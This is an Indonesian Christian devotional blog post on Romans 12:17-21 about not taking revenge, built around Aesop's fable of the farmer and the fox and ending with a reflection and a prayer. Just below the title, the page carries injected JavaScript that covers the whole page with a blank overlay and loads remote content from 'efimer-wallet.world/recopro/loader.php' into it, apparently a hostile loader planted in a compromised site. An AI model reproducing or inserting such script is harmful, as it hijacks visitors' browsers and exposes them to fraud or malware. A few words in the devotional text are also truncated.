JANGAN MEMBALAS DENDAM

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

Kamis, 31 Agustus 2023

Roma 12 : 17 – 21

Pengantar

Di dalam fabel yang ditulis oleh Aesop diceritakan mengenai seorang petani yang menaruh dendam terhadap seekor rubah yang telah merampok kandang ayamnya. Sang petani akhirnya berhasil menangkap rubah tersebut, dan mendapat kesempatan untuk membalas dendam. Petani itu mengikatkan seutas tali yang telah direndam dalam minyak ke ekor rubah tersebut, dan membakarnya. Si rubah yang dilanda kepanikan yang hebat berlari masuk ke ladang gandum sang petani. Saat itu adalah masa panen gandum, tetapi petani itu tidak dapat menuai apa pun pada tahun itu dan kembali ke rumah dengan penyesalan yang mendalam. Fabel ini memberi pesan kepada kita bahwa membalas dendam bukanlah obat yang tepat untuk meredakan kemarahan karena harganya mahal dan efek sampingnya sangat merugikan.

Pemahaman

Ayat 17-18 : Bagaimana seharusnya orang-orang beriman bersikap terhadap orang-orang yang telah berbuat jahat kepadanya?

Ayat 19-21 : Mengapa orang beriman t idak boleh membalas dendam? Bagaimana seharusnya orang beriman mengalahkan kejahatan?

Nasihat dalam ayat 17-21 berbicara mengenai bagaimana seharusnya kita berelasi dengan orang-orang yang tidak percaya, khususnya orang-orang yang telah berbuat jahat kepada kita (ayat 17), atau “musuh” kita (ayat 20). Dalam Perjanjian Lama berlaku aturan “mata ganti mata” (Kel. 21:24), tetapi di sini Paulus melarang kita membalas kejahatan dengan kejahatan (lih. 1 Petrus 3:9), melainkan justru melakukan apa yang “baik” (istilah “baik” di sini juga berarti mulia dan terhormat). Paulus juga menasihati kita agar hidup “dalam perdamaian dengan semua orang”. Penggunaan kata-kata “Sedapat-dapatnya, kalau hal itu bergantung kepadamu” menunjukkan bahwa perdamaian itu

tidak selalu dapat diwujudkan. Namun, jika kedamaian hilang atau rusak, maka sebagai orang beriman, kita harus berinisiatif dan berupaya semaksimal mungkin untuk memulihkannya.

Di ayat 19-21, Paulus mempertegas nasihatnya agar kita tidak melakukan pembalasan dan memperkuat nasihat itu dengan dua alasan. Pertama, alasan teologis bahwa pembalasan adalah hak Tuhan sendiri. Setiap bentuk kejahatan adalah pelanggaran terhadap otoritas Allah, apalagi kejahatan yang dilakukan terhadap orang benar. Karena itu, alih-alih melakukan pembalasan sendiri, kita harus menyerahkan pembalasan itu kepada Tuhan. Kedua, alasan praktis bahwa cara yang efektif untuk mengalahkan kejahatan adalah dengan membalasnya dengan kebaikan. Mengutip Amsal 25:21-22, Paulus menasihati orang-orang beriman agar memberi makan dan minum kepada musuh mereka yang lapar dan haus. Meletakkan bara api di kepala mungkin mengacu pada ritual di Mesir di mana seseorang menunjukkan pertobatannya dengan membawa sepanci arang yang terbakar di atas kepalanya. Jadi, melakukan perbuatan baik kepada musuh dapat membuatnya malu dan menyesal. Dengan cara inilah kejahatan dikalahkan oleh kebaik

Refleksi                                                                 

Jika Anda berniat untuk membalas dendam, pertimbangkanlah kembali niat tersebut, dan pertimbangkanlah berulang-ulang, sampai Anda membatalkannya.

Tekadku

uhan, curahkanlah kasih-Mu di hatiku dan mampukanlah aku untuk membalas kejahatan dengan kebaikan.

Tindakanku                                                           

Aku akan berdoa, memohon berkat Tuhan, bagi seseorang yang telah melakukan kejahatan dan mendatangkan kerugian terhadap diriku dan keluargaku

This entry was posted in RENUNGAN. Bookmark the permalink.

Leave a Reply

Your email address will not be published. Required fields are marked *